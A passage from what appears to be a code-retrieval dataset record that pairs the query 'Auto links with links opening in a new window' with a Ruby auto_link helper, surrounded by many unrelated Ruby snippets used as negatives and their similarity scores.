"def process_functions(text)\n begin\n results = Array.new\n # processing map function\n text.scan(/\\${i2x.map\\((.*?)\\)}/).each { |m|\n puts m\n results.push m\n } if text.include? 'i2x.map'\n\n # processing compare function\n text.scan(/\\${i2x.compare\\((.*?)\\)}/).each { |m|\n puts m\n results.push m\n } if text.include? 'i2x.compare'\n\n rescue Exception => e\n Services::Slog.exception e\n end\n results\n end",
"def format_description\r\n description.gsub(':)', '').gsub(':D', '').\r\n gsub(':(', '').gsub(':O', '').\r\n gsub(\":,(\", '').gsub(':/', '').\r\n gsub('8)', '').gsub(':crazy:', '').\r\n gsub(':yeah:', '')\r\n end",
"def handle_text(name, attrs)\n \n end",
"def desc(txt)\n @@desc = txt\n end",
"def modeler_description\n return 'Replace this text with an explanation for the energy modeler specifically. It should explain how the measure is modeled, including any requirements about how the baseline model must be set up, major assumptions, citations of references to applicable modeling resources, etc. The energy modeler should be able to read this description and understand what changes the measure is making to the model and why these changes are being made. Because the Modeler Description is written for an expert audience, using common abbreviations for brevity is good practice.'\n end",
"def modeler_description\n return 'Replace this text with an explanation for the energy modeler specifically. It should explain how the measure is modeled, including any requirements about how the baseline model must be set up, major assumptions, citations of references to applicable modeling resources, etc. The energy modeler should be able to read this description and understand what changes the measure is making to the model and why these changes are being made. Because the Modeler Description is written for an expert audience, using common abbreviations for brevity is good practice.'\n end",
"def textilizable(text, options = {})\r\n return \"\" if text.blank?\r\n\r\n # different methods for formatting wiki links\r\n case options[:wiki_links]\r\n when :local\r\n # used for local links to html files\r\n format_wiki_link = Proc.new {|title| \"#{title}.html\" }\r\n when :anchor\r\n # used for single-file wiki export\r\n format_wiki_link = Proc.new {|title| \"##{title}\" }\r\n else\r\n if @project\r\n format_wiki_link = Proc.new {|title| url_for :controller => 'wiki', :action => 'index', :id => @project, :page => title }\r\n else\r\n format_wiki_link = Proc.new {|title| title }\r\n end\r\n end\r\n\r\n # turn wiki links into textile links:\r\n # example:\r\n # [[link]] -> \"link\":link\r\n # [[link|title]] -> \"title\":link\r\n text = text.gsub(/\\[\\[([^\\]\\|]+)(\\|([^\\]\\|]+))?\\]\\]/) {|m| \"\\\"#{$3 || $1}\\\":\" + format_wiki_link.call(Wiki.titleize($1)) }\r\n\r\n # turn issue ids into links\r\n # example:\r\n # #52 -> <a href=\"/issues/show/52\">#52</a>\r\n text = text.gsub(/#(\\d+)(?=\\b)/) {|m| link_to \"##{$1}\", :controller => 'issues', :action => 'show', :id => $1}\r\n\r\n # turn revision ids into links (@project needed)\r\n # example:\r\n # r52 -> <a href=\"/repositories/revision/6?rev=52\">r52</a> (@project.id is 6)\r\n text = text.gsub(/(?=\\b)r(\\d+)(?=\\b)/) {|m| link_to \"r#{$1}\", :controller => 'repositories', :action => 'revision', :id => @project.id, :rev => $1} if @project\r\n\r\n # when using an image link, try to use an attachment, if possible\r\n attachments = options[:attachments]\r\n if attachments\r\n text = text.gsub(/!([<>=]*)(\\S+\\.(gif|jpg|jpeg|png))!/) do |m|\r\n align = $1\r\n filename = $2\r\n rf = Regexp.new(filename, Regexp::IGNORECASE)\r\n # search for the picture in attachments\r\n if found = attachments.detect { |att| att.filename =~ rf }\r\n image_url = url_for :controller => 'attachments', :action => 'show', :id => found.id\r\n \"!#{align}#{image_url}!\"\r\n else\r\n \"!#{align}#{filename}!\"\r\n end\r\n end\r\n end\r\n\r\n # finally textilize text\r\n @do_textilize ||= (Setting.text_formatting == 'textile') && (ActionView::Helpers::TextHelper.method_defined? \"textilize\")\r\n text = @do_textilize ? auto_link(RedCloth.new(text, [:hard_breaks]).to_html) : simple_format(auto_link(h(text)))\r\n end",
"def description\n \"This task looks for usernames via google searchs.\"\nend",
"def edit_description\n end",
"def text\n self.title + \" -- \" + self.description\n end",
"def modeler_description\n return \"Replace this text with an explanation for the energy modeler specifically. It should explain how the measure is modeled, including any requirements about how the baseline model must be set up, major assumptions, citations of references to applicable modeling resources, etc. The energy modeler should be able to read this description and understand what changes the measure is making to the model and why these changes are being made. Because the Modeler Description is written for an expert audience, using common abbreviations for brevity is good practice.\"\n end",
"def description_text\n\t\t\tif @data[\"description\"] \n\t\t\t\thtml_data = @data[\"description\"][\"text\"] \n\t\t\t\tparsed_data = Nokogiri::HTML(html_data)\n\t\t\t\tparsed_data.text\n\t\t\tend\n\t\tend",
"def expert(data)\nend",
"def glossarize_string(text, *args, &block)\n\t\t\tdoc = Hpricot(text)\n\t\t\tdoc.traverse_element(*args[0].dup) do |e|\n\t\t\t\tif !glossary.nil? and [Hpricot::Doc, Hpricot::Elem,Hpricot::Text].include?(e.class)\n #glossary.sort{|a, b| a[0].length <=> b[0].length}.each do |k,v|\n\t\t\t\t\tglossary.each do |k, v|\n\t\t\t\t\t\te.text_sub!(Regexp.new(\"([^-<>])(\\\\b#{k.to_s}\\\\b)([^-<>])(?![^<]*>|[^<]*<\\/(span|a|b|em|strong)>|[^<]*<br\\/>|[^<]*<(sup|em|strong)>)\"), '\\1<a class=\"info\" href=\"javascript:void(0);\">\\2<span>' + word_wrap(v) + '</span></a>\\3')\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tdoc.to_s\n\t\tend",
"def extract_description(text_lines, start_line)\n\tdescription = \"\"\n\ttext_lines[start_line..-1].each do |line|\n\t\tif line == line.upcase && line != \"\"\n\t\t\tbreak\n\t\telse\n\t\t\tdescription << line.strip + \" \"\n\t\tend\n\tend\n\tdescription\nend",
"def descriptive_text\n description.blank? && taxon ? taxon.descriptive_text : description\n end",
"def desc(text = UNDEFINED)\n @desc = text.to_s unless text == UNDEFINED\n @desc\n end",
"def process_text text\n newtext = text.gsub(/if/, 'IF')\n\n 30.times { |i|\n newtext.gsub!(/for/, 'FOR')\n newtext.gsub!(/while/, 'WHILE')\n newtext.gsub!(/switch/, 'SWITCH')\n newtext.gsub!(/case/, 'CASE')\n newtext.gsub!(/goto/, 'GOTO')\n newtext.gsub!(/struct/, 'STRUCT')\n newtext.gsub!(/int/, 'INT')\n newtext.gsub!(/char/, 'CHAR')\n newtext.gsub!(/return/, 'RETURN')\n }\n\n return newtext\nend",
"def description\n end",
"def page_description\n if content_for?(:description)\n \"#{yield_content(:description)}\"\n else\n \"Capra is a design agency based in Ottawa, Canada run by husband and wife team Ollie and Kat Kavanagh. Our focus is great design. We love interactive work like websites, games and apps because we get involved in building what we design.\"\n end\n end",
"def show_description (description)\n unless description.nil?\n puts \"Your description is: #{description}\"\n else \"This url needs description\"\n #description.split(\"\\s\").each do |i|\n #puts \"description: #{i}\"\n end\nend",
"def scrape_text\n\n end",
"def snippet(text, wordcount, omission)\n return '' if text.blank?\n text.split[0..(wordcount-1)].join(\" \") + (text.split.size > wordcount ? \" \" + omission : \"\")\n end",
"def parse_description\n skip_tkspace\n\n tk = get_tk\n\n @desc = tk.text[1..-2]\n end",
"def severity_feeling_in_words(object)\n if object.severity\n \"Change feeling from %{language}\".t % {\n :language => \"<b>#{select_severity_feeling_in_words(object)}</b>\"\n }\n else\n \"How does it make you feel?\".t\n end\n \n end",
"def descr\n return text_get(2, id)\n end",
"def process( resume, options = {} )\n text = \"\"\n text += process_personal( resume[\"personal\"] )\n text += process_experience( resume[\"experience\"] )\n text += process_skills( resume[\"skills\"] )\n text += process_education( resume[\"education\"] )\n text += process_hobbies( resume[\"hobbies\"] )\n text += process_footer( resume[\"footer\"] )\n\n return text\n end",
"def textile_hint(what='description')\n hint(\"Use #{link_to \"textile markup\", {:controller => 'clearinghouse', :action => 'textile_quickref'}, :popup => ['textile_quickref', 'height=500, width=625, scrollbars=yes']} to add styles to the #{what}.\")\n end",
"def build_description_from(*args)\n text = args.inject(\"\") do |description, arg|\n description << \" \" unless (description == \"\" || arg.to_s =~ /^(\\s|\\.|#)/)\n description << arg.to_s\n end\n text == \"\" ? nil : text\n end",
"def alter_description(description, additions, subtractions)\n new_description = description\n additions.each do |addition|\n stylized_weights = addition.weights&.join('->')\n if stylized_weights == '' || stylized_weights.nil?\n stylized_weights = 'body weight'\n end\n\n # This will look off for things I do 1 set or rep of,\n # but I'm ok with that - it makes eventually parsing\n # a dump of my data from Strava in the future easier.\n new_description << <<~EOF\n #{addition.exercise}: #{addition.num_sets} sets of #{addition.num_reps} reps at #{stylized_weights} lbs\n EOF\n end\n subtractions.each do |subtraction|\n new_description_array = new_description.split(\"\\n\").reject do |line|\n line.index(subtraction) == 0\n end\n new_description = new_description_array.join(\"\\n\")\n end\n\n new_description\nend",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end"
] |
[
"0.666894",
"0.633859",
"0.6285273",
"0.6259451",
"0.6226951",
"0.6151665",
"0.60948324",
"0.60936344",
"0.6054658",
"0.6049204",
"0.6044971",
"0.6031333",
"0.60033727",
"0.60031116",
"0.5974844",
"0.5974844",
"0.5974844",
"0.5974844",
"0.5974844",
"0.5974844",
"0.5974844",
"0.5974844",
"0.5974844",
"0.5974844",
"0.5974844",
"0.5974844",
"0.5974844",
"0.5974844",
"0.59727854",
"0.5905338",
"0.5905338",
"0.59010875",
"0.5888436",
"0.5879194",
"0.5857333",
"0.5844556",
"0.5807811",
"0.57931685",
"0.5782041",
"0.5781501",
"0.5779438",
"0.57666147",
"0.5765696",
"0.57590556",
"0.5757626",
"0.5733769",
"0.5733769",
"0.5733365",
"0.5727369",
"0.57203954",
"0.5719834",
"0.571962",
"0.5715533",
"0.5714208",
"0.5699468",
"0.5694145",
"0.566654",
"0.566654",
"0.5666419",
"0.5664609",
"0.56516147",
"0.56409556",
"0.56383616",
"0.56381553",
"0.5635682",
"0.56290674",
"0.5626278",
"0.5626278",
"0.562622",
"0.5623586",
"0.5623528",
"0.5620885",
"0.56207913",
"0.5607709",
"0.5604762",
"0.559773",
"0.55963755",
"0.55806756",
"0.5572908",
"0.5571319",
"0.5567391",
"0.5557614",
"0.5550912",
"0.5547482",
"0.55435854",
"0.5542214",
"0.5539654",
"0.5532378",
"0.55308473",
"0.5518364",
"0.5516069",
"0.5515282",
"0.5514605",
"0.5514605",
"0.5514605",
"0.5514605",
"0.5514605",
"0.5514605",
"0.5514605",
"0.5514605",
"0.5514605"
] |
0.0
|
-1
|
Auto links with links opening in a new window.
|
def auto_link_new_window(text)
auto_link(text, :html => {:target => '_blank'})
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def autolink(text)\n auto_link(text, :html => { :target => '_blank' })\n end",
"def auto_pop_up_link(text, target, options, url = nil)\n link_to text, (url || '#'), {\n :class => \"auto_pop_up_link#{ \" #{options[:class]}\" if options[:class]}\", \n :title => options[:title], \n :'data-div-id' => target, \n :'data-width' => options[:width], \n :'data-height' => options[:height],\n :'data-modal' => options[:modal]\n }\n end",
"def link_and_format(text, options = {})\n simple_format(auto_link(text, :html => {:target => '_blank'}), options)\n end",
"def link_window(source_session_name, source_window_identifier, index = nil)\n %[tmux link-window -s #{ source_session_name }:#{ source_window_identifier } -t #{ name }:#{ index }]\n end",
"def link_to_external url ,link_label\n link_to \"#{link_label}\" ,\"#{url}\" , :target=>'_blank'\n end",
"def click(link); end",
"def open_in_browser\n puts url\n `#{open} #{url}`\n end",
"def link *a; app.link *a end",
"def click_web_link(text)\n\t\t@log.debug(\"Clicking web link #{text}\")\n\t\t\n\t\t@main_window.click(text)\n\tend",
"def menu_item_link(m)\n options = {}\n if m.new_page\n options = {:target => \"_blank\"}\n end\n link_to m.title, m.url, options\n end",
"def new_tab\n execute_script('window.open();')\n window_handles.last\n end",
"def goto(url = \"\")\n active_window.url = url\n sleep(1)\n end",
"def create_links\n end",
"def create_links\n end",
"def iconify_auto_link(text, show_link = true)\n # this block is only executed when a link is inserted;\n # if we pass text containing no links, it just returns text.\n auto_link(html_escape(text)) do |value|\n \"<i class='glyphicon glyphicon-new-window'></i>#{(' ' + value) if show_link}<br />\"\n end\n end",
"def open_window url, window_id\r\n command 'openWindow', url, window_id\r\n end",
"def auto_link_urls(text)\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $4\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n text = yield(text) if block_given?\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{text}</a>#{d})\n end\n end\n end",
"def link_manipulations(html_doc)\n html_doc.css('a').each do |link|\n link['target'] = '_blank'\n end\n return html_doc\n end",
"def show_other_sites\n frm.link(:text=>\"Show other sites\").click\n end",
"def teletext_go_link _n\n send_cmd(\"teletext_go_link #{_n}\")\n end",
"def my_auto_link(text, href_options = {})\n extra_options = tag_options(href_options.stringify_keys) || \"\"\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $5\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n text = yield(text) if block_given?\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\"#{extra_options}>#{text}</a>#{d})\n end\n end\n end",
"def bookmark_link(options,no_text=false)\n case options[:site]\n when :delicious\n href = \"http://del.icio.us/post?url=#{options[:page_url]}&title=#{URI.encode(options[:page_title])}\"\n when :google\n href = \"http://www.google.com/bookmarks/mark?op=edit&output=popup&bkmk=#{options[:page_url]}&title=#{URI.encode(options[:page_title])}\"\n when :reddit\n href = \"http://reddit.com/submit?url=#{options[:page_url]}&title=#{URI.encode(options[:page_title])}\"\n when :digg\n href = \"http://digg.com/submit?phase=2&url=#{options[:page_url]}&title=#{URI.encode(options[:page_title])}\"\n when :yahoo\n href = \"http://myweb2.search.yahoo.com/myresults/bookmarklet?u=#{options[:page_url]}&t=#{URI.encode(options[:page_title])}\"\n when :stumbleupon\n href= \"http://www.stumbleupon.com/refer.php?url=#{options[:page_url]}&title=#{URI.encode(options[:page_title])}\"\n end\n script = \"window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;\"\n # script = \"link_open_window(this.href)\"\n link_text = \"<span class='bookmark_link_text'>#{image_tag((options[:site].to_s + \".png\"), :alt => options[:link_title])} #{options[:site].to_s.capitalize unless no_text}</span>\"\n link_to(link_text, href, {:onclick => script, :title => options[:link_title], :class => \"site_bookmark_link\"})\n end",
"def append_target!\n @tag.gsub! /\\<a/, '<a target=\"_blank\"'\n end",
"def auto_link_urls(text, html_options = {})\n extra_options = Mash.new(html_options).to_html_attributes\n extra_options = \" #{extra_options}\" unless extra_options.blank?\n\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $4\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n text = yield(text) if block_given?\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\"#{extra_options}>#{text}</a>#{d})\n end\n end\n end",
"def open_pages\n make_calendars\n make_topics\n end",
"def follow(link_text)\n Praline::browser.find_element(:link, link_text).click\n end",
"def bookmarklet\n text 'Drag the following link to your toolbar to submit with a single click: '\n a 'bookmark-it!', :href =>\"javascript:location.href='http:#{URL(New)}?page_link='+encodeURIComponent(location.href)+'&description='+encodeURIComponent(document.title)+'&body='+encodeURIComponent(window.getSelection())\"\n end",
"def link!\n self.linkbutton = true\n self.save\n self.linkbutton\n end",
"def add_link(links)\n links = [links] if links.is_a?(String)\n self.class.get(\"/action/add/links/grabber0/start1/\"+links.join(\" \"))\n end",
"def photoLinked( id )\n link_to photo( id ), link( id ), :target => \"_blank\" \n end",
"def inline_docbook_autolink_urls(text)\n text.gsub!(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $5\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n %(#{a}<ulink url=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{b}#{c}</ulink>#{d})\n end\n end\n end",
"def open_pages\n quick_windows.select { |win| win.name == \"Document Window\" }\n end",
"def link(link_text)\n element(damballa(link_text+\"_link\")) { |b| b.link(:text=>link_text) }\n action(damballa(link_text)) { |b| b.link(:text=>link_text).click }\n end",
"def navigate_to_link(link_name)\n find_link(link_name).click\n end",
"def auto_link(text, options = {})\n auto_link_usernames_or_lists(\n auto_link_urls_custom(\n auto_link_hashtags(text, options),\n options),\n options)\n end",
"def nexia_link # :doc:\n content_box.a(:text => \"nexiahome.com\")\n end",
"def link_to_blank(body, url=body, html_options = {})\n link_to body, url, html_options.merge(:target => '_blank')\n end",
"def sexy(body)\n body.gsub(URL_MATCHER, link_to(\"http://\\\\2\", \"http://\\\\2\", :target => \"_blank\"))\n end",
"def link *a, &b; app.link *a, &b end",
"def url_in_new_window\n if handles = page.driver.browser.window_handles rescue nil\n new_window = handles.last\n page.within_window(new_window) do\n return without_trailing_slash(current_url)\n end\n end\n end",
"def open_page(name)\n name_link(name).click \n wait_for_ajax\n self.window(:title=>\"rSmart | Content Profile\").use\n ContentDetailsPage.new @browser\n end",
"def autofollow\n find_current_blog\n @browser.goto $root+'/blog/'+ @blogname +'/followers'\n if @browser.button(:class => \"chrome blue big follow_button\").exists?\n follow_links = @browser.buttons(:class => \"follow_button\")\n end\n follow_links.each { |follow_button| follow_button.click } if follow_links\n sleep 2\n end",
"def button_to_link(name, link, options={})\n\t confirm_option = options.delete(:confirm)\n\t popup_option = options.delete(:popup)\n\t link_function = popup_option ? redirect_function(link, :new_window => true) : redirect_function(link)\n\t link_function = \"if (confirm('#{escape_javascript(confirm_option)}')) { #{link_function}; }\" if confirm_option\n\t button_to_function name, link_function, options\n\tend",
"def auto_link(text, options = {}, &block)\n auto_link_entities(text, Extractor.extract_entities_with_indices(text, :extract_url_without_protocol => false), options, &block)\n end",
"def auto_link_urls(text, options = {}, &block)\n auto_link_entities(text, Extractor.extract_urls_with_indices(text, :extract_url_without_protocol => false), options, &block)\n end",
"def open_in_browser\n link = \"http://www.bandsintown.com/cities/pittsburgh-pa\"\n if RbConfig::CONFIG['host_os'] =~ /mswin|mingw|cygwin/\n system \"start #{link}\"\n elsif RbConfig::CONFIG['host_os'] =~ /darwin/\n system \"open #{link}\"\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system \"xdg-open #{link}\"\n end\n end",
"def link() url; end",
"def link() url; end",
"def open_url_generator(bib)\n open_url_link = open_url_resolve_link(bib)\n links = UmdOpenUrl::Resolver.resolve(open_url_link)\n links\n end",
"def links; end",
"def links; end",
"def convert_urls_to_links(text)\n # url = /(((file|gopher|news|nntp|telnet|http|ftp|https|ftps|sftp):\\/\\/)|(www\\.))+(([a-zA-Z0-9\\._-]+\\.[a-zA-Z]{2,6})|([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}))(\\/[a-zA-Z0-9\\&%_\\.\\/-~-]*)?/\n # url = /( |^)http:\\/\\/([^\\s]*\\.[^\\s]*)( |$)/\n\n # while text =~ url\n # name = $2\n # text.sub! /( |^)http:\\/\\/#{name}( |$)/, \" <a href='http://#{name}' >#{name}</a> \"\n # end\n\n Rinku.auto_link(text)\n end",
"def open(url);\n if !@already_opened_prs.include? url\n # Because Launchy sometimes fails to open multiple tabs if it is called too quickly\n sleep(0.1)\n Launchy.open(url) do |exception|\n puts \"Attempted to open #{url} and failed because #{exception}\"\n end\n @already_opened_prs.add url\n else\n puts \"filtered #{url}\"\n end\n end",
"def auto_link_urls(text)\n text.gsub(AUTO_LINK_RE) do\n href = $&\n punctuation = ''\n left, right = $`, $'\n # detect already linked URLs and URLs in the middle of a tag\n if left =~ /<[^>]+$/ && right =~ /^[^>]*>/\n # do not change string; URL is alreay linked\n href\n else\n # don't include trailing punctuation character as part of the URL\n if href.sub!(/[^\\w\\/-]$/, '') and punctuation = $& and opening = BRACKETS[punctuation]\n if href.scan(opening).size > href.scan(punctuation).size\n href << punctuation\n punctuation = ''\n end\n end\n\n link_text = block_given?? yield(href) : href\n href = 'http://' + href unless href.index('http') == 0\n\n %Q(<a href=\"#{href}\">#{link_text}</a>)\n end\n end\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def link_to_ecoologic\n image = image_tag(Setting.ecoologic_link_image_url,\n {:alt => Setting.ecoologic_alt, :height => '64px'})\n url = Setting.ecoologic_link_url\n link_opts = {:title => Setting.ecoologic_link_title, :target => '_blank'}\n # :id => :ecoologic_link\n \n link_to image, url, link_opts\n end",
"def external_link(label, path, **opt, &block)\n opt[:target] = '_blank' unless opt.key?(:target)\n make_link(label, path, **opt, &block)\n end",
"def open_random\n Defcli.open_in_browser random_url(:api => false)\n end",
"def link_to_dialog(text, options, html_options = {})\n link_to(\n text,\n options.reverse_merge(:width => 650, :height => 500, \"TB_iframe\" => \"true\"),\n html_options.reverse_merge(:class => \"thickbox\", :title => text)\n )\n end",
"def href= href\n `window.location.href = href`\n end",
"def new_window(name)\n execute_script(%(\n var w = Math.max(\n document.documentElement.clientWidth, window.innerWidth || 0\n );\n var h = Math.max(\n document.documentElement.clientHeight, window.innerHeight || 0\n );\n window.open(\"about:blank\", arguments[0], `width=${w},height=${h}`);\n ), name)\n end",
"def publication_link\n h.link_to \"Read Now\" , object.publication_url , title: 'Read Now' , class: 'btn waves-effect waves-light btn-primary custom-btn' , target: '_blank'\n end",
"def my_links\n end",
"def open_page(name)\n name_link(name).click\n self.wait_for_ajax\n self.window(:title=>\"rSmart | Content Profile\").use\n ContentDetailsPage.new @browser\n end",
"def switcher_link_to(text, options={}, html_options={}, &block)\n id = html_options.delete(:id) || \"lm-#{rand(1000000)}\"\n inner_id = id + '_more'\n link_id = id + '_link'\n action_id = id + '_action'\n icon = boolean_default(options.delete(:icon), true)\n action_icon_id = id + '_action_icon'\n action_label_id = id + '_action_label'\n css_class = html_options.delete(:class)\n style = html_options.delete(:style)\n inner_css_class = html_options.delete(:inner_class)\n open = options.delete(:open) || false\n sticky = boolean_default(options.delete(:sticky), false)\n \n function = update_page do |page|\n page << \"if ($('#{inner_id}').style.display == 'none') {\"\n page[inner_id].visual_effect :blind_down, {:duration => 0.3}\n if sticky \n page << \"$('#{action_icon_id}').removeClassName('closed');\"\n page << \"$('#{action_icon_id}').addClassName('opened');\"\n else\n page[action_id].hide\n end\n page << \"} else {\"\n page[inner_id].visual_effect :blind_up, {:duration => 0.3}\n page[link_id].show\n if sticky \n page << \"$('#{action_icon_id}').removeClassName('opened');\"\n page << \"$('#{action_icon_id}').addClassName('closed');\"\n else\n page[action_id].show\n end\n page << \"}\"\n end\n\n onclick = \"#{\"#{html_options[:onclick]}; \" if html_options[:onclick]}#{function}; return false;\"\n href = html_options[:href] || '#'\n \n html = <<-HTML\n<div id=\"#{id}\" class=\"switcher #{css_class}\" style=\"#{style}\">\n <div id=\"#{action_id}\" class=\"switcherAction\">\n <a id=\"#{link_id}\" href=\"#{href}\" onclick=\"#{escape_once(onclick)};return false;\">\n <span id=\"#{action_icon_id}\" class=\"actionIcon #{open ? 'opened' : 'closed'}\" style=\"#{icon ? '' : 'display:none;'}\"></span>\n <span id=\"#{action_label_id}\" class=\"actionLabel\">#{text}</span>\n </a>\n </div>\n <div id=\"#{inner_id}\" class=\"#{inner_css_class}\" style=\"#{open ? '' : 'display:none;'}\">\n #{capture(&block)}\n </div>\n</div>\n HTML\n concat(html, block.binding)\n end",
"def inline_auto_link(text)\n text.gsub!(AUTO_LINK_RE) do\n all, leading, proto, url, post = $&, $1, $2, $3, $6\n if leading =~ /<a\\s/i || leading =~ /![<>=]?/\n # don't replace URL's that are already linked\n # and URL's prefixed with ! !> !< != (textile images)\n all\n else\n # Idea below : an URL with unbalanced parethesis and\n # ending by ')' is put into external parenthesis\n if ( url[-1]==?) and ((url.count(\"(\") - url.count(\")\")) < 0 ) )\n url=url[0..-2] # discard closing parenth from url\n post = \")\"+post # add closing parenth to post\n end\n tag = content_tag('a', proto + url, :href => \"#{proto==\"www.\"?\"http://www.\":proto}#{url}\", :class => 'external')\n %(#{leading}#{tag}#{post})\n end\n end\n end",
"def switch_to_next_window\n @window_id += 1\n if @window_id >= @browser.windows.count\n # wrap back to the first\n @window_id = 0\n end\n\n @browser.windows[@window_id].use\n end",
"def show_links\r\n links = Document.new(self).get_links\r\n puts \"There are #{links.length} links\"\r\n index = 1\r\n links.each do |l|\r\n puts \"link: name: #{l.name}\"\r\n puts \" id: #{l.id}\"\r\n puts \" href: #{l.href}\"\r\n puts \" index: #{index}\"\r\n index += 1\r\n end\r\n end",
"def goto(url)\r\n #set_defaults()\r\n get_window_number()\r\n set_browser_document()\r\n # Load the given url.\r\n $jssh_socket.send(\"#{BROWSER_VAR}.loadURI(\\\"#{url}\\\");\\n\" , 0)\r\n read_socket()\r\n\r\n wait()\r\n end",
"def auto_link_urls(text, html_options = {}, options = {})\n link_attributes = html_options.stringify_keys\n text.gsub(AUTO_LINK_RE) do\n scheme, href = $1, $&\n punctuation = []\n\n if auto_linked?($`, $')\n # do not change string; URL is already linked\n href\n else\n # don't include trailing punctuation character as part of the URL\n while href.sub!(/[^\\w\\/-]$/, '')\n punctuation.push $&\n if opening = BRACKETS[punctuation.last] and href.scan(opening).size > href.scan(punctuation.last).size\n href << punctuation.pop\n break\n end\n end\n\n link_text = block_given?? yield(href) : href\n href = 'http://' + href unless scheme\n\n unless options[:sanitize] == false\n link_text = sanitize(link_text)\n href = sanitize(href)\n end\n content_tag(:a, link_text, link_attributes.merge('href' => href,'target' => \"_blank\"), !!options[:sanitize]) + punctuation.reverse.join('')\n end\n end\n end",
"def muda_aba\n window = page.driver.browser.window_handles\n if window.size > 1 \n page.driver.browser.switch_to.window(window.first)\n page.driver.browser.close\n page.driver.browser.switch_to.window(window.last) \n end\n end",
"def new_tab\n @session.open_new_window\n rescue Capybara::WindowError => e\n new_tab_via_link\n end",
"def _AutoLink\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_AutoLinkUrl)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_AutoLinkEmail)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_AutoLink unless _tmp\n return _tmp\n end",
"def help_link(wiki_entry_name=nil)\n wiki_url = \"https://github.com/indykish/identityprov/wiki\"\n if wiki_entry_name\n wiki_url += \"/#{wiki_entry_name}\"\n link_text = \"Help for #{wiki_entry_name.underscore_humanize}\" \n else\n link_text =\"Help\" \n end\n link_to_ link_text, wiki_url, { :target => '_blank'}\n end",
"def make_link(name, web, text = nil, options = {})\n mode = (options[:mode] || :show).to_sym\n link_type = (options[:link_type] || :show).to_sym\n\n if (link_type == :show)\n known_page = web.has_page?(name)\n else\n known_page = web.has_file?(name)\n description = web.description(name)\n description = description.unescapeHTML.escapeHTML if description\n end\n if (text == name)\n text = description || text\n else\n text = text || description\n end\n text = (text || WikiWords.separate(name)).unescapeHTML.escapeHTML\n \n case link_type\n when :show\n page_link(mode, name, text, web.address, known_page)\n when :file\n file_link(mode, name, text, web.address, known_page, description)\n when :pic\n pic_link(mode, name, text, web.address, known_page)\n when :audio\n media_link(mode, name, text, web.address, known_page, 'audio')\n when :video\n media_link(mode, name, text, web.address, known_page, 'video')\n when :delete\n delete_link(mode, name, web.address, known_page)\n else\n raise \"Unknown link type: #{link_type}\"\n end\n end",
"def test_03_storyadmin_clickall_links()\n\t\t\n\t\tputs \"---------------------- START OF SCENARIO 02 ----------------------\"\n\t\tlogin(\"orgadmin@aol.com\", \"123456\")\n\t\tverifyHeaderLinks()\n\t\tverifyFooterLinks()\n\t\tverifyMyAccountLinks()\n\t\tverifyNPOAdminLinks(\"Minnesota Community Foundation\")\n\t\t#~ searchProject(\"RazooTrunkFirefoxPRO20 of Minnesota Community Foundation\")\n\t\t#~ verifyStoryAdminLinks()\n\t\tlogout()\n\t\tputs \"---------------------- END OF SCENARIO 02 --------------------------\"\n\tend",
"def auto_link_urls(text, html_options = {}, options = {})\n link_attributes = html_options.stringify_keys\n text.gsub(AUTO_LINK_RE) do\n scheme, href = $1, $&\n punctuation = []\n\n if auto_linked?($`, $')\n # do not change string; URL is already linked\n href\n else\n # don't include trailing punctuation character as part of the URL\n while href.sub!(/[^#{WORD_PATTERN}\\/-]$/, '')\n punctuation.push $&\n if opening = BRACKETS[punctuation.last] and href.scan(opening).size > href.scan(punctuation.last).size\n href << punctuation.pop\n break\n end\n end\n\n link_text = block_given?? yield(href) : href\n href = 'http://' + href unless scheme\n\n unless options[:sanitize] == false\n #link_text = sanitize(link_text)\n #href = sanitize(href)\n end\n #content_tag(:a, link_text, link_attributes.merge('href' => href), !!options[:sanitize]) + punctuation.reverse.join('')\n \"<a href=#{href} target='_blank'>#{link_text}</a>\"\n end\n end\n end",
"def link\n h.content_tag :li do\n h.link_to h.content_tag(:i, '' , class: object.icon ) , object.url , target: \"_blank\" , title: object.name\n end\n end",
"def go\n require 'pashua'\n pagetmp = wikipage_selector(\"Jump to which page?\")\n exit unless pagetmp\n @chrome.windows[1].get.tabs[@chrome.windows[1].get.active_tab_index.get].get.URL.set(\"http://localhost/wiki/#{pagetmp}\")\nend",
"def booking_link_target(property)\n property.booking_url.present? ? \"_blank\" : \"_self\"\n end",
"def open(item)\n `#{open_command} '#{item.url.gsub(\"\\'\",\"\\\\'\")}'`\n\n \"Boom! We just opened #{item.value} for you.\"\n end",
"def create_symlinks\n links.each do |link|\n print \"Linking #{link.link_path}: \"\n if link.dir?\n print 'skipped'\n elsif !link.current?\n if link.create\n print 'linked'\n else\n print link.error\n end\n else\n print 'current'\n end\n print \"\\n\"\n end\n end",
